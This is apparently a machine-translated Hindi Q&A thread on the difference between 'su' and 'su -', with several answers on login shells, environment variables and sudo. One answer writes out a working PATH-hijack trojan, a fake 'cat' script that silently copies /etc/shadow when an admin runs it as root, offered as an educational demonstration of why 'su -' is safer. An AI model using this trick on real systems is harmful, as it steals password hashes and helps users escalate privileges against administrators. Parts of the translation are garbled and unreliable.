जवाबों:
su -
उपयोगकर्ता को स्विच करने के बाद एक लॉगिन खोल देता है। एक लॉगिन शेल सबसे पर्यावरण चर को रीसेट करता है, एक स्वच्छ आधार प्रदान करता है।
su
बस उपयोगकर्ता को स्विच करता है, पुराने उपयोगकर्ता के साथ लगभग समान वातावरण के साथ एक सामान्य शेल प्रदान करता है।
कल्पना कीजिए, आप एक सॉफ्टवेयर डेवलपर हैं जो सामान्य उपयोगकर्ता तक एक मशीन का उपयोग करते हैं और आपका अज्ञानी व्यवस्थापक आपको रूट एक्सेस नहीं देगा। आइए (उम्मीद से) उसे चकमा दें।
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
अब, आप अपने व्यवस्थापक से पूछते हैं कि आप cat
अपने होम फ़ोल्डर में डमी फ़ाइल क्यों नहीं कर सकते , यह सिर्फ काम नहीं करेगा!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
यदि आपका व्यवस्थापक इतना स्मार्ट या थोड़ा आलसी नहीं है, तो वह आपकी मेज पर आ सकता है और अपनी सुपर-उपयोगकर्ता शक्तियों के साथ प्रयास कर सकता है:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
वाह! धन्यवाद, सुपर एडमिन!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
वह, वह।
आपने शायद देखा कि दूषित $PATH
चर रीसेट नहीं किया गया था। ऐसा नहीं होता, अगर एडमिन su -
इसके बजाय मंगवाता ।
umask
000 सेट करने के लिए मत भूलना या यह काम नहीं करेगा।
su
पाथ के अंदर एक फ़ाइल डाल सकता है । असली के व्यवहार की नकल करना इतना कठिन नहीं है su
। सुपर-यूजर को वैसे भी लापरवाह किया गया है :-)
su --
जैसा है वैसा नहीं है su -
: --
एक गेटटॉप (एस) या (समान) विकल्प हैंडलर को आगे के विकल्पों के लिए कमांड लाइन को संसाधित करने से रोकने के लिए बताता है (उदाहरण के लिए उपयोगी अगर बाकी में फाइलनाम शामिल हैं जो एक '-' के साथ शुरू हो सकता है)। यानी, में "rm मैं - -f": -f तो के रूप में एक नियमित रूप से तर्क के रूप में व्यवहार किया जाता है, इसलिए यहाँ फ़ाइल का नाम करने के लिए rm -i
, और नहीं एक additionnal के रूप में -f
करने का विकल्प rm
आदेश। तो su --
बस है su
और नहीं su -
! तो su --
वैग द्वारा (मजाकिया और शिक्षाप्रद) उदाहरण givan के लिए असुरक्षित होगा। का उपयोग करें su -
।
su -
आपको पूरी तरह से रूट के रूप में लॉग करता है, जबकि su
ऐसा करता है तो आप रूट होने का नाटक कर रहे हैं।
इसका सबसे स्पष्ट उदाहरण है कि ~
यदि आप उपयोग करते हैं तो रूट की होम डायरेक्टरी है su -
, लेकिन यदि आप उपयोग करते हैं तो आपकी स्वयं की होम डाइरेक्टरी su
।
आपके सिस्टम के आधार पर, इसका अर्थ प्रांप्ट PATH
, या इतिहास फ़ाइल में अंतर भी हो सकता है ।
इसलिए यदि आप एक प्रणाली का संचालन करने वाली टीम का हिस्सा हैं, और आपका सहयोगी आपको चलाने की आज्ञा देता है, तो आप जानते हैं कि यह उसी तरह काम करेगा यदि आप दोनों का उपयोग कर रहे हैं su -
, लेकिन यदि आप दोनों का उपयोग कर रहे हैं su
, तो आपके होने के कारण मतभेद हो सकते हैं विभिन्न शेल कॉन्फ़िगरेशन।
दूसरी ओर, यदि आप एक कमांड को रूट के रूप में चलाना चाहते हैं लेकिन अपने स्वयं के कॉन्फ़िगरेशन का उपयोग कर रहे हैं, तो शायद su
आपके लिए बेहतर है।
इसके अलावा sudo
, जो -s
एक खोल को रूट के रूप में शुरू करने का विकल्प होता है, के बारे में मत भूलना । बेशक, इसके अलग-अलग नियम भी हैं, और वे इस बात पर निर्भर करते हैं कि आप किस वितरण का उपयोग कर रहे हैं।
.bashrc
या /etc/bashrc
या /etc/profile.d
स्क्रिप्ट की स्थापना कर रहे हैं PATH
। देखने के लिए if [ $UID -eq 0 ]
या ऐसा कुछ।
$USER
उदाहरण के लिए अपरिवर्तित छोड़ दिया जाता है।
sudo su
?
मैं su का उपयोग करता हूं - जब मैं एक निर्देशिका में एक नियमित उपयोगकर्ता के रूप में हूं, लेकिन रूट पर स्विच करना चाहता हूं और स्विच के बाद उसी निर्देशिका में रहना चाहता हूं। जब आप su का उपयोग करते हैं - यह उपयोगकर्ता को रूट करने के लिए स्विच करता है और आपको / root पर भी ले जाता है जो रूट होम डायरेक्टरी है।
/
जो कुछ भी रूट की होम डायरेक्टरी के रूप में परिभाषित किया गया है
मुख्य अंतर यह है:
su - username
शेल वातावरण सेट करता है जैसे कि यह निर्दिष्ट उपयोगकर्ता के रूप में एक साफ लॉगिन था, यह निर्दिष्ट उपयोगकर्ता पर्यावरण चर का उपयोग और उपयोग करता है,
su username
केवल निर्दिष्ट उपयोगकर्ता के लिए वर्तमान परिवेश सेटिंग्स के साथ एक शेल शुरू होता है।
यदि उपयोगकर्ता नाम के साथ निर्दिष्ट नहीं है su
और su -
, रूट खाता डिफ़ॉल्ट के रूप में निहित है।
su --
के रूप में ही हैsu
।